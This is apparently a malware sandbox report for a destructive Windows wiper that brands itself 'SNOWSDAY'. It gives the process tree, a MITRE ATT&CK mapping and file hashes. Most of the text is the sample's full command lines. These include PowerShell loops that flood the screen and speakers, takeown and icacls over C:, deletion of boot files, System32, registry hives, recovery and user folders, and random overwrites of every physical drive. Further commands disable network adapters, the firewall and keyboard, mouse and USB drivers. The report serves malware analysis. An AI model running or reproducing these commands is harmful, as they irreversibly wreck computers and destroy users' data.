  powershell -Command "Add-Type -AssemblyName System.Windows.Forms,System.Drawing; $r=New-Object Random; $txts=@('SNOWSDAY','TOP','LUMINA','DEAD','HAIL SNOWSDAY','youtube.com/@snowsday','SNOWSDAY ON TOP','MBR OVERWRITTEN','SYSTEM DESTROYED','RIP','PC DEAD','KILLED','WIPED','GONE','ERROR','ANNIHILATED','DESTROYED','CORRUPTED','FATAL','DEAD PC','NO RECOVERY','BSOD','CRASH','TERMINATED'); while($true){ for($j=0;$j -lt 6;$j++){ $win=New-Object System.Windows.Forms.Form; $win.Size=New-Object System.Drawing.Size($r.Next(30,1000), $r.Next(30,1000)); $win.StartPosition='Manual'; $win.Location=New-Object System.Drawing.Point($r.Next(-200,2500), $r.Next(-200,1500)); $win.BackColor=[System.Drawing.Color]::FromArgb($r.Next(100,256),$r.Next(0,100),$r.Next(0,100)); $win.TopMost=$true; $win.FormBorderStyle='None'; if($r.Next(2) -eq 0){ $win.Opacity=0.7+$r.NextDouble()*0.3 } $label=New-Object System.Windows.Forms.Label; $label.Text=$txts[$r.Next($txts.Count)]; $label.Font=New-Object System.Drawing.Font('Consolas', $r.Next(8,100), [System.Drawing.FontStyle]::Bold); $label.ForeColor='White'; $label.BackColor='Transparent'; $label.AutoSize=$false; $label.Size=$win.Size; $label.TextAlign='MiddleCenter'; $win.Controls.Add($label); $win.Show(); } Start-Sleep -Milliseconds ($r.Next(20,100)); }"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  PID:2096
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -Command "$r=New-Object Random; while($true){ for($i=0;$i -lt 12;$i++){ try{[console]::beep($r.Next(37,8000), $r.Next(1,100))}catch{} } Start-Sleep -Milliseconds ($r.Next(0,10)); }"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  PID:1684
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -Command "Add-Type -AssemblyName System.Windows.Forms,System.Drawing; $r=New-Object Random; while($true){ $pos=[System.Windows.Forms.Cursor]::Position; for($i=0;$i -lt 5;$i++){ $f=New-Object System.Windows.Forms.Form; $f.Size=New-Object System.Drawing.Size($r.Next(10,300), $r.Next(10,300)); $f.Location=New-Object System.Drawing.Point($pos.X+$r.Next(-100,100), $pos.Y+$r.Next(-100,100)); $f.BackColor=[System.Drawing.Color]::FromArgb($r.Next(50,200),$r.Next(256),$r.Next(0,100),$r.Next(0,100)); $f.FormBorderStyle='None'; $f.TopMost=$true; $f.Show(); Start-Sleep -Milliseconds 20; $f.Close(); } }"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  PID:3148
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -Command "Add-Type -AssemblyName System.Windows.Forms,System.Drawing; $sc=[System.Windows.Forms.Screen]::PrimaryScreen; $bmp=New-Object System.Drawing.Bitmap($sc.Bounds.Width, $sc.Bounds.Height); $gfx=[System.Drawing.Graphics]::FromImage($bmp); $form=New-Object System.Windows.Forms.Form; $form.FormBorderStyle='None'; $form.WindowState='Maximized'; $form.TopMost=$true; $pic=New-Object System.Windows.Forms.PictureBox; $pic.Dock='Fill'; $form.Controls.Add($pic); $form.Show(); $r=New-Object Random; while($true){ $gfx.CopyFromScreen(0,0,0,0,$sc.Bounds.Size); $bmp.RotateFlip([System.Drawing.RotateFlipType]($r.Next(0,7))); $pic.Image = $bmp; $zo=$r.NextDouble()*0.3+0.85; $form.Size=New-Object System.Drawing.Size([int]($sc.Bounds.Width*$zo),[int]($sc.Bounds.Height*$zo)); $form.Location=New-Object System.Drawing.Point($r.Next(-100,100),$r.Next(-100,100)); $form.Refresh(); [System.Windows.Forms.Application]::DoEvents(); Start-Sleep -Milliseconds ($r.Next(50,200)); }"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  PID:1852
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -Command "Add-Type -AssemblyName System.Windows.Forms,System.Drawing; $f=New-Object System.Windows.Forms.Form; $f.FormBorderStyle='None'; $f.WindowState='Maximized'; $f.TopMost=$true; $f.Show(); $r=New-Object Random; while($true){ for($i=0;$i -lt 5;$i++){ $f.BackColor=[System.Drawing.Color]::FromArgb($r.Next(30,255), $r.Next(256), $r.Next(0,100), $r.Next(0,100)); $f.Opacity=$r.NextDouble() * 0.7 + 0.3; $f.Refresh(); Start-Sleep -Milliseconds ($r.Next(5,30)); } $f.BackColor='Black'; $f.Refresh(); Start-Sleep -Milliseconds ($r.Next(5,30)); }"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  PID:5764
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -Command "Add-Type -AssemblyName System.Windows.Forms,System.Drawing; $f=New-Object System.Windows.Forms.Form; $f.FormBorderStyle='None'; $f.WindowState='Maximized'; $f.BackColor='Black'; $f.TopMost=$true; $f.Show(); $g=$f.CreateGraphics(); $r=New-Object Random; $w=[System.Windows.Forms.Screen]::PrimaryScreen.Bounds.Width; $h=[System.Windows.Forms.Screen]::PrimaryScreen.Bounds.Height; $t=0; while($true){ $g.Clear([System.Drawing.Color]::FromArgb(0,0,0,30)); for($i=0;$i -lt 30;$i++){ $radius=($t+$i*25) :Max($w,$h); $c=[System.Drawing.Color]::FromArgb($r.Next(150,256),$r.Next(0,150),$r.Next(0,150)); $pen=New-Object System.Drawing.Pen($c, $r.Next(1,8)); $g.DrawEllipse($pen, $w/2-$radius, $h/2-$radius, $radius*2, $radius*2); $pen.Dispose(); } $t+=7; [System.Windows.Forms.Application]::DoEvents(); Start-Sleep -Milliseconds 15; }"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  PID:1664
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -Command "Add-Type -AssemblyName System.Windows.Forms,System.Drawing; $sc=[System.Windows.Forms.Screen]::PrimaryScreen; $bmp=New-Object System.Drawing.Bitmap($sc.Bounds.Width, $sc.Bounds.Height); $gfx=[System.Drawing.Graphics]::FromImage($bmp); $form=New-Object System.Windows.Forms.Form; $form.FormBorderStyle='None'; $form.WindowState='Maximized'; $form.TopMost=$true; $pic=New-Object System.Windows.Forms.PictureBox; $pic.Dock='Fill'; $form.Controls.Add($pic); $form.Show(); $r=New-Object Random; while($true){ $gfx.CopyFromScreen(0,0,0,0,$sc.Bounds.Size); for($x=0;$x -lt $bmp.Width;$x+=$r.Next(3,30)){ $col=@(); for($y=0;$y -lt $bmp.Height;$y+=2){ try{ $col+=$bmp.GetPixel($x,$y); }catch{} } $col=$col | Sort-Object {($_ .R + $_ .G + $_ .B) -band 255}; for($y=0;$y -lt $col.Count;$y++){ try{ $bmp.SetPixel($x,$y*2,$col[$y]); }catch{} } } for($y=0;$y -lt $bmp.Height;$y+=$r.Next(3,30)){ $row=@(); for($x=0;$x -lt $bmp.Width;$x+=2){ try{ $row+=$bmp.GetPixel($x,$y); }catch{} } $row=$row | Sort-Object {($_ .R + $_ .G + $_ .B) -band 255}; for($x=0;$x -lt $row.Count;$x++){ try{ $bmp.SetPixel($x*2,$y,$row[$x]); }catch{} } } $pic.Image=$bmp; $form.Refresh(); [System.Windows.Forms.Application]::DoEvents(); Start-Sleep -Milliseconds 200; }"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  PID:1596
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -Command "Add-Type -AssemblyName System.Windows.Forms,System.Drawing; $f=New-Object System.Windows.Forms.Form; $f.FormBorderStyle='None'; $f.WindowState='Maximized'; $f.BackColor='Black'; $f.TopMost=$true; $f.Show(); $g=$f.CreateGraphics(); $r=New-Object Random; $w=[System.Windows.Forms.Screen]::PrimaryScreen.Bounds.Width; $h=[System.Windows.Forms.Screen]::PrimaryScreen.Bounds.Height; $drops=@(); for($i=0;$i -lt $w/6;$i++){ $drops+=$r.Next($h) } $font=New-Object System.Drawing.Font('Consolas', 12); while($true){ $g.Clear([System.Drawing.Color]::FromArgb(0,0,0,5)); for($x=0;$x -lt $drops.Count;$x++){ $c=[System.Drawing.Color]::FromArgb($r.Next(180,256),$r.Next(0,50),$r.Next(0,50)); $brush=New-Object System.Drawing.SolidBrush($c); $ch=[char]$r.Next(33,126); $text=''; for($j=0;$j -lt $r.Next(1,5);$j++){ $text+=$ch } $g.DrawString($text, $font, $brush, $x*6, $drops[$x]); $brush.Dispose(); $drops[$x]+=$r.Next(8,25); if($drops[$x] -gt $h + $r.Next(100,500)){ $drops[$x]=$r.Next(-500,0); } } [System.Windows.Forms.Application]::DoEvents(); Start-Sleep -Milliseconds 20; }"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  PID:3768
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -Command "Add-Type -AssemblyName System.Windows.Forms,System.Drawing; $f=New-Object System.Windows.Forms.Form; $f.FormBorderStyle='None'; $f.WindowState='Maximized'; $f.BackColor='Black'; $f.TopMost=$true; $f.Show(); $g=$f.CreateGraphics(); $r=New-Object Random; $w=[System.Windows.Forms.Screen]::PrimaryScreen.Bounds.Width; $h=[System.Windows.Forms.Screen]::PrimaryScreen.Bounds.Height; function DrawFractal($g,$x,$y,$size,$depth,$r,$cx,$cy){ if($depth -le 0 -or $size -lt 1){ return } $c=[System.Drawing.Color]::FromArgb($r.Next(100,256),$r.Next(0,150),$r.Next(0,150)); $pen=New-Object System.Drawing.Pen($c, 1); $x2=$x+$size; $y2=$y+$size; $mx=($x+$x2)/2 + ($cx-$w/2)*0.01*$depth; $my=($y+$y2)/2 + ($cy-$h/2)*0.01*$depth; $g.DrawLine($pen,$x,$y,$mx,$my); $g.DrawLine($pen,$mx,$my,$x2,$y); $g.DrawLine($pen,$x2,$y,$x2,$y2); $g.DrawLine($pen,$x2,$y2,$mx,$my); $g.DrawLine($pen,$mx,$my,$x,$y2); $g.DrawLine($pen,$x,$y2,$x,$y); $pen.Dispose(); $ns=$size*0.55; DrawFractal $g ($x+$size*0.1) ($y+$size*0.1) $ns ($depth-1) $r $cx $cy; DrawFractal $g ($x+$size*0.35) ($y+$size*0.35) ($ns*0.7) ($depth-2) $r $cx $cy; } $mx=$w/2; $my=$h/2; while($true){ $g.Clear([System.Drawing.Color]::FromArgb(0,0,0,40)); $pos=[System.Windows.Forms.Cursor]::Position; DrawFractal $g ($w/2-250) ($h/2-250) 500 5 $r $pos.X $pos.Y; [System.Windows.Forms.Application]::DoEvents(); Start-Sleep -Milliseconds 50; }"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  PID:224
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -Command "Add-Type -AssemblyName System.Windows.Forms,System.Drawing; $sc=[System.Windows.Forms.Screen]::PrimaryScreen; $bmp=New-Object System.Drawing.Bitmap($sc.Bounds.Width, $sc.Bounds.Height); $gfx=[System.Drawing.Graphics]::FromImage($bmp); $form=New-Object System.Windows.Forms.Form; $form.FormBorderStyle='None'; $form.WindowState='Maximized'; $form.TopMost=$true; $pic=New-Object System.Windows.Forms.PictureBox; $pic.Dock='Fill'; $form.Controls.Add($pic); $form.Show(); $r=New-Object Random; while($true){ $gfx.CopyFromScreen(0,0,0,0,$sc.Bounds.Size); $slices=$r.Next(3,20); $sliceW=$bmp.Width/$slices; for($s=0;$s -lt $slices;$s++){ $sx=$s*$sliceW; $dx=$sx+$r.Next(-100,100); $dy=$r.Next(-80,80); $sw=[Math]::Max(1,$sliceW+$r.Next(-50,50)); for($y=0;$y -lt $bmp.Height;$y++){ for($x=0;$x -lt $sw;$x++){ $srcX=$sx+$x; $dstX=$dx+$x; if($srcX -ge 0 -and $srcX -lt $bmp.Width -and $dstX -ge 0 -and $dstX -lt $bmp.Width){ $dy2=$dy; if($r.Next(3) -eq 0){ $dy2+=$r.Next(-20,20) } $dstY=$y+$dy2; if($dstY -ge 0 -and $dstY -lt $bmp.Height){ try{ $px=$bmp.GetPixel($srcX,$y); $bmp.SetPixel($dstX,$dstY,$px); }catch{} } } } } } $pic.Image = $bmp; $form.Refresh(); [System.Windows.Forms.Application]::DoEvents(); Start-Sleep -Milliseconds ($r.Next(50,200)); }"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  PID:5980
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -Command "Add-Type -AssemblyName System.Windows.Forms,System.Drawing; $sc=[System.Windows.Forms.Screen]::PrimaryScreen; $bmp=New-Object System.Drawing.Bitmap($sc.Bounds.Width, $sc.Bounds.Height); $gfx=[System.Drawing.Graphics]::FromImage($bmp); $form=New-Object System.Windows.Forms.Form; $form.FormBorderStyle='None'; $form.WindowState='Maximized'; $form.TopMost=$true; $pic=New-Object System.Windows.Forms.PictureBox; $pic.Dock='Fill'; $form.Controls.Add($pic); $form.Show(); $r=New-Object Random; while($true){ $gfx.CopyFromScreen(0,0,0,0,$sc.Bounds.Size); for($i=0;$i -lt $r.Next(5,30);$i++){ $y1=$r.Next($bmp.Height); $y2=$r.Next($bmp.Height); $shift=$r.Next(-300,300); for($x=0;$x -lt $bmp.Width;$x+=2){ $dstX=$x+$shift; if($dstX -ge 0 -and $dstX -lt $bmp.Width){ for($y=$y1;$y -lt $y2 -and $y -lt $bmp.Height;$y+=2){ try{ $px=$bmp.GetPixel($x,$y); $bmp.SetPixel($dstX,$y,$px); }catch{} } } } } $pic.Image = $bmp; $form.Refresh(); [System.Windows.Forms.Application]::DoEvents(); Start-Sleep -Milliseconds ($r.Next(20,100)); }"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  PID:5440
- C:\Windows\system32\cmd.exe
  cmd /c "takeown /f C:\ /r /d y >nul 2>&1"
  2⤵
  PID:5196
- - C:\Windows\system32\takeown.exe
    takeown /f C:\ /r /d y
    3⤵
    - Possible privilege escalation attempt
    - Modifies file permissions
    PID:4748
- C:\Windows\system32\cmd.exe
  cmd /c "icacls C:\* /grant Everyone:F /T /Q >nul 2>&1"
  2⤵
  PID:3236
- - C:\Windows\system32\icacls.exe
    icacls C:\* /grant Everyone:F /T /Q
    3⤵
    - Possible privilege escalation attempt
    - Modifies file permissions
    PID:812
- C:\Windows\system32\cmd.exe
  cmd /c "del /f /s /q C:\bootmgr >nul 2>&1"
  2⤵
  PID:4200
- C:\Windows\system32\cmd.exe
  cmd /c "rmdir /s /q C:\Boot >nul 2>&1"
  2⤵
  PID:4796
- C:\Windows\system32\cmd.exe
  cmd /c "del /f /s /q C:\EFI\*.* >nul 2>&1"
  2⤵
  PID:4176
- C:\Windows\system32\cmd.exe
  cmd /c "rmdir /s /q C:\EFI >nul 2>&1"
  2⤵
  PID:4540
- C:\Windows\system32\cmd.exe
  cmd /c "del /f /s /q C:\Windows\System32\ntoskrnl.exe >nul 2>&1"
  2⤵
  PID:2360
- C:\Windows\system32\cmd.exe
  cmd /c "del /f /s /q C:\Windows\System32\ntdll.dll >nul 2>&1"
  2⤵
  PID:3268
- C:\Windows\system32\cmd.exe
  cmd /c "del /f /s /q C:\Windows\System32\hal.dll >nul 2>&1"
  2⤵
  PID:5884
- C:\Windows\system32\cmd.exe
  cmd /c "del /f /s /q C:\Windows\System32\kernel32.dll >nul 2>&1"
  2⤵
  PID:2824
- C:\Windows\system32\cmd.exe
  cmd /c "del /f /s /q C:\Windows\System32\winload.* >nul 2>&1"
  2⤵
  PID:5484
- C:\Windows\system32\cmd.exe
  cmd /c "del /f /s /q C:\Windows\System32\winresume.* >nul 2>&1"
  2⤵
  PID:5296
- C:\Windows\system32\cmd.exe
  cmd /c "del /f /s /q C:\Windows\System32\smss.exe >nul 2>&1"
  2⤵
  PID:5576
- C:\Windows\system32\cmd.exe
  cmd /c "del /f /s /q C:\Windows\System32\csrss.exe >nul 2>&1"
  2⤵
  PID:6104
- C:\Windows\system32\cmd.exe
  cmd /c "del /f /s /q C:\Windows\System32\wininit.exe >nul 2>&1"
  2⤵
  PID:3676
- C:\Windows\system32\cmd.exe
  cmd /c "del /f /s /q C:\Windows\System32\services.exe >nul 2>&1"
  2⤵
  PID:6068
- C:\Windows\system32\cmd.exe
  cmd /c "del /f /s /q C:\Windows\System32\lsass.exe >nul 2>&1"
  2⤵
  PID:2364
- C:\Windows\system32\cmd.exe
  cmd /c "del /f /s /q C:\Windows\System32\svchost.exe >nul 2>&1"
  2⤵
  PID:2920
- C:\Windows\system32\cmd.exe
  cmd /c "del /f /s /q C:\Windows\System32\config\SAM >nul 2>&1"
  2⤵
  PID:4740
- C:\Windows\system32\cmd.exe
  cmd /c "del /f /s /q C:\Windows\System32\config\SYSTEM >nul 2>&1"
  2⤵
  PID:5540
- C:\Windows\system32\cmd.exe
  cmd /c "del /f /s /q C:\Windows\System32\config\SOFTWARE >nul 2>&1"
  2⤵
  PID:4624
- C:\Windows\system32\cmd.exe
  cmd /c "del /f /s /q C:\Windows\System32\config\SECURITY >nul 2>&1"
  2⤵
  PID:5560
- C:\Windows\system32\cmd.exe
  cmd /c "del /f /s /q C:\Windows\System32\config\DEFAULT >nul 2>&1"
  2⤵
  PID:5192
- C:\Windows\system32\cmd.exe
  cmd /c "del /f /s /q C:\Windows\System32\config\COMPONENTS >nul 2>&1"
  2⤵
  PID:5156
- C:\Windows\system32\cmd.exe
  cmd /c "del /f /s /q C:\Windows\System32\drivers\*.* >nul 2>&1"
  2⤵
  PID:6084
- C:\Windows\system32\cmd.exe
  cmd /c "del /f /s /q C:\Windows\System32\DriverStore\*.* >nul 2>&1"
  2⤵
  PID:1112
- C:\Windows\system32\cmd.exe
  cmd /c "del /f /s /q C:\Windows\System32\*.exe >nul 2>&1"
  2⤵
  PID:5168
- C:\Windows\system32\cmd.exe
  cmd /c "del /f /s /q C:\Windows\System32\*.dll >nul 2>&1"
  2⤵
  PID:5872
- C:\Windows\system32\cmd.exe
  cmd /c "del /f /s /q C:\Windows\explorer.exe >nul 2>&1"
  2⤵
  PID:5932
- C:\Windows\system32\cmd.exe
  cmd /c "del /f /s /q C:\Windows\System32\cmd.exe >nul 2>&1"
  2⤵
  PID:5692
- C:\Windows\system32\cmd.exe
  cmd /c "del /f /s /q C:\Windows\System32\powershell.exe >nul 2>&1"
  2⤵
  PID:4480
- C:\Windows\system32\cmd.exe
  cmd /c "rmdir /s /q \"C:\Program Files\" >nul 2>&1"
  2⤵
  PID:3168
- C:\Windows\system32\cmd.exe
  cmd /c "rmdir /s /q \"C:\Program Files (x86)\" >nul 2>&1"
  2⤵
  PID:3840
- C:\Windows\system32\cmd.exe
  cmd /c "rmdir /s /q C:\Windows\System32 >nul 2>&1"
  2⤵
  PID:1272
- C:\Windows\system32\cmd.exe
  cmd /c "rmdir /s /q C:\Windows\SysWOW64 >nul 2>&1"
  2⤵
  PID:1816
- C:\Windows\system32\cmd.exe
  cmd /c "for /d \Users\*) do rmdir /s /q \"u\Desktop\" >nul 2>&1"
  2⤵
  PID:5660
- C:\Windows\system32\cmd.exe
  cmd /c "for /d \Users\*) do rmdir /s /q \"u\Documents\" >nul 2>&1"
  2⤵
  PID:2944
- C:\Windows\system32\cmd.exe
  cmd /c "for /d \Users\*) do rmdir /s /q \"u\Downloads\" >nul 2>&1"
  2⤵
  PID:4536
- C:\Windows\system32\cmd.exe
  cmd /c "for /d \Users\*) do rmdir /s /q \"u\Pictures\" >nul 2>&1"
  2⤵
  PID:276
- C:\Windows\system32\cmd.exe
  cmd /c "for /d \Users\*) do rmdir /s /q \"u\Videos\" >nul 2>&1"
  2⤵
  PID:1140
- C:\Windows\system32\cmd.exe
  cmd /c "for /d \Users\*) do rmdir /s /q \"u\Music\" >nul 2>&1"
  2⤵
  PID:5344
- C:\Windows\system32\cmd.exe
  cmd /c "del /f /s /q C:\pagefile.sys >nul 2>&1"
  2⤵
  PID:240
- C:\Windows\system32\cmd.exe
  cmd /c "del /f /s /q C:\hiberfil.sys >nul 2>&1"
  2⤵
  PID:2556
- C:\Windows\system32\cmd.exe
  cmd /c "del /f /s /q C:\swapfile.sys >nul 2>&1"
  2⤵
  PID:5712
- C:\Windows\system32\cmd.exe
  cmd /c "del /f /s /q C:\Recovery\*.* >nul 2>&1"
  2⤵
  PID:784
- C:\Windows\system32\cmd.exe
  cmd /c "rmdir /s /q C:\Recovery >nul 2>&1"
  2⤵
  PID:1248
- C:\Windows\system32\timeout.exe
  timeout /t 3 /nobreak
  2⤵
  - Delays execution with timeout.exe
  PID:2404
- C:\Windows\system32\diskpart.exe
  diskpart /s C:\Users\Admin\AppData\Local\Temp\disk0.txt
  2⤵
  PID:3380
- C:\Windows\system32\diskpart.exe
  diskpart /s C:\Users\Admin\AppData\Local\Temp\disk1.txt
  2⤵
  PID:1796
- C:\Windows\system32\diskpart.exe
  diskpart /s C:\Users\Admin\AppData\Local\Temp\disk2.txt
  2⤵
  PID:7128
- C:\Windows\system32\diskpart.exe
  diskpart /s C:\Users\Admin\AppData\Local\Temp\disk3.txt
  2⤵
  PID:280
- C:\Windows\system32\diskpart.exe
  diskpart /s C:\Users\Admin\AppData\Local\Temp\disk4.txt
  2⤵
  PID:6516
- C:\Windows\system32\diskpart.exe
  diskpart /s C:\Users\Admin\AppData\Local\Temp\disk5.txt
  2⤵
  PID:6456
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -Command "try{$d=[System.IO.File]::Open('\\.\PhysicalDrive0',[System.IO.FileMode]::Open,[System.IO.FileAccess]::ReadWrite);$buf=New-Object byte[] 20971520;$r=New-Object Random;$r.NextBytes($buf);$d.Write($buf,0,$buf.Length);$d.Close()}catch{}"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  PID:6404
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -Command "try{$d=[System.IO.File]::Open('\\.\PhysicalDrive1',[System.IO.FileMode]::Open,[System.IO.FileAccess]::ReadWrite);$buf=New-Object byte[] 20971520;$r=New-Object Random;$r.NextBytes($buf);$d.Write($buf,0,$buf.Length);$d.Close()}catch{}"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  PID:3376
- - C:\Windows\System32\Conhost.exe
    \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
    3⤵
    PID:5872
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -Command "try{$d=[System.IO.File]::Open('\\.\PhysicalDrive2',[System.IO.FileMode]::Open,[System.IO.FileAccess]::ReadWrite);$buf=New-Object byte[] 20971520;$r=New-Object Random;$r.NextBytes($buf);$d.Write($buf,0,$buf.Length);$d.Close()}catch{}"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  PID:4844
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -Command "try{$d=[System.IO.File]::Open('\\.\PhysicalDrive3',[System.IO.FileMode]::Open,[System.IO.FileAccess]::ReadWrite);$buf=New-Object byte[] 20971520;$r=New-Object Random;$r.NextBytes($buf);$d.Write($buf,0,$buf.Length);$d.Close()}catch{}"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  PID:1400
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -Command "try{$d=[System.IO.File]::Open('\\.\PhysicalDrive4',[System.IO.FileMode]::Open,[System.IO.FileAccess]::ReadWrite);$buf=New-Object byte[] 20971520;$r=New-Object Random;$r.NextBytes($buf);$d.Write($buf,0,$buf.Length);$d.Close()}catch{}"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  PID:5988
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -Command "try{$d=[System.IO.File]::Open('\\.\PhysicalDrive5',[System.IO.FileMode]::Open,[System.IO.FileAccess]::ReadWrite);$buf=New-Object byte[] 20971520;$r=New-Object Random;$r.NextBytes($buf);$d.Write($buf,0,$buf.Length);$d.Close()}catch{}"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  PID:2972
- C:\Windows\system32\timeout.exe
  timeout /t 3 /nobreak
  2⤵
  - Delays execution with timeout.exe
  PID:4472
- C:\Windows\system32\cmd.exe
  cmd /c "wmic path win32_networkadapter where PhysicalAdapter=true call disable >nul 2>&1"
  2⤵
  PID:3992
- - C:\Windows\System32\Wbem\WMIC.exe
    wmic path win32_networkadapter where PhysicalAdapter=true call disable
    3⤵
    PID:5056
- C:\Windows\system32\cmd.exe
  cmd /c "ipconfig /release >nul 2>&1"
  2⤵
  PID:840
- - C:\Windows\system32\ipconfig.exe
    ipconfig /release
    3⤵
    - Gathers network information
    PID:5216
- C:\Windows\system32\cmd.exe
  cmd /c "ipconfig /flushdns >nul 2>&1"
  2⤵
  PID:2364
- - C:\Windows\system32\ipconfig.exe
    ipconfig /flushdns
    3⤵
    - Gathers network information
    PID:6752
- C:\Windows\system32\cmd.exe
  cmd /c "netsh int ip reset >nul 2>&1"
  2⤵
  PID:5452
- - C:\Windows\system32\netsh.exe
    netsh int ip reset
    3⤵
    PID:4676
- C:\Windows\system32\cmd.exe
  cmd /c "netsh winsock reset >nul 2>&1"
  2⤵
  PID:6472
- - C:\Windows\system32\netsh.exe
    netsh winsock reset
    3⤵
    PID:6684
- C:\Windows\system32\cmd.exe
  cmd /c "route -f >nul 2>&1"
  2⤵
  PID:4420
- - C:\Windows\system32\ROUTE.EXE
    route -f
    3⤵
    PID:4620
- C:\Windows\system32\cmd.exe
  cmd /c "arp -d * >nul 2>&1"
  2⤵
  PID:6208
- - C:\Windows\system32\ARP.EXE
    arp -d *
    3⤵
    PID:7044
- C:\Windows\system32\cmd.exe
  cmd /c "nbtstat -R >nul 2>&1"
  2⤵
  PID:2056
- - C:\Windows\system32\nbtstat.exe
    nbtstat -R
    3⤵
    PID:1948
- C:\Windows\system32\cmd.exe
  cmd /c "netsh advfirewall set allprofiles state off >nul 2>&1"
  2⤵
  PID:6736
- - C:\Windows\system32\netsh.exe
    netsh advfirewall set allprofiles state off
    3⤵
    - Modifies Windows Firewall
    PID:2140
- C:\Windows\system32\timeout.exe
  timeout /t 2 /nobreak
  2⤵
  - Delays execution with timeout.exe
  PID:6740
- C:\Windows\system32\reg.exe
  reg add "HKLM\SYSTEM\CurrentControlSet\Services\USBSTOR" /v Start /t REG_DWORD /d 4 /f
  2⤵
  PID:1888
- C:\Windows\system32\reg.exe
  reg add "HKLM\SYSTEM\CurrentControlSet\Services\usbhub" /v Start /t REG_DWORD /d 4 /f
  2⤵
  PID:4644
- C:\Windows\system32\reg.exe
  reg add "HKLM\SYSTEM\CurrentControlSet\Services\kbdclass" /v Start /t REG_DWORD /d 4 /f
  2⤵
  PID:5276
- C:\Windows\system32\reg.exe
  reg add "HKLM\SYSTEM\CurrentControlSet\Services\mouclass" /v Start /t REG_DWORD /d 4 /f
  2⤵
  PID:5720

C:\Windows\system32\vssvc.exe
C:\Windows\system32\vssvc.exe
1⤵
- Suspicious use of AdjustPrivilegeToken
PID:1864

C:\Windows\System32\vdsldr.exe
C:\Windows\System32\vdsldr.exe -Embedding
1⤵
PID:4948

C:\Windows\System32\vds.exe
C:\Windows\System32\vds.exe
1⤵
PID:3268

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Windows Management Instrumentation

T1047

Persistence

Create or Modify System Process

T1543

Windows Service

T1543.003

Event Triggered Execution

T1546

Image File Execution Options Injection

T1546.012

Privilege Escalation

Create or Modify System Process

T1543

Windows Service

T1543.003

Event Triggered Execution

T1546

Image File Execution Options Injection

T1546.012

Defense Evasion

Direct Volume Access

T1006

File and Directory Permissions Modification

T1222

Hide Artifacts

T1564

Ignore Process Interrupts

T1564.011

Impair Defenses

T1562

Disable or Modify System Firewall

T1562.004

Indicator Removal

T1070

Clear Windows Event Logs

T1070.001

File Deletion

T1070.004

Credential Access

Discovery

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Inhibit System Recovery

T1490

Replay Monitor

Loading Replay Monitor...

Downloads

powershell.exe.log

Path C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log
Size 2KB
SHA256 85b280a39fc31ba1e15fb06102a05b8405ff3b82feb181d4170f04e466dd647c
MD5 627073ee3ca9676911bee35548eff2b8
SHA1 4c4b68c65e2cab9864b51167d710aa29ebdcff2e
SHA512 3c5f6c03e253b83c57e8d6f0334187dbdcdf4fa549eecd36cbc1322dca6d3ca891dc6a019c49ec2eafb88f82d0434299c31e4dfaab123acb42e0546218f311fb
TLSH
T19651CE323375B1D889163F47192C5AC463BF8355FA94AF4CB698620ED92741B9F222F3
MD5 SHA1 SHA512 TLSH

Submit Download

ModuleAnalysisCache

Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\ModuleAnalysisCache
Size 61KB
SHA256 4092f9f40755da0cd51333839724737ba9452da3f567523f8b6c74f0e7dc8cb0
MD5 0e77043f850324ed321fa08d0cb70ffb
SHA1 d9a93454a271968baaf9f76764c9d32e078d42c0
SHA512 18d1faa0350ef7c7c9b6d1e2dde3d325ea3b20a4d8c51de3af4f969079018463dc9acf30c1c811b58908e2e24313cc6de1eacf6c99463d240133c4642fbda1a9
SSDEEP 1536:RflJdDiFHzdy+YkzvHgfKQNUpeE711kDa5ljNC+jH0IMjMXYo3Xi3j39MVvjBMrd:RflJdWFHzd1YkzvHgfKQNUpeE711kDaq
TLSH
T1C6537292E9204E75E2E65F3EF15622627D30394690F8113211DC25EFA9879930B1FBFE
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

ModuleAnalysisCache

Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\ModuleAnalysisCache
Size 61KB
SHA256 88afe4991bea96a50393d493e553e1f537607c6412d933e54b21f36e3ed8aab2
MD5 bacf91d9deb8bd49cccb951f62a1f2c7
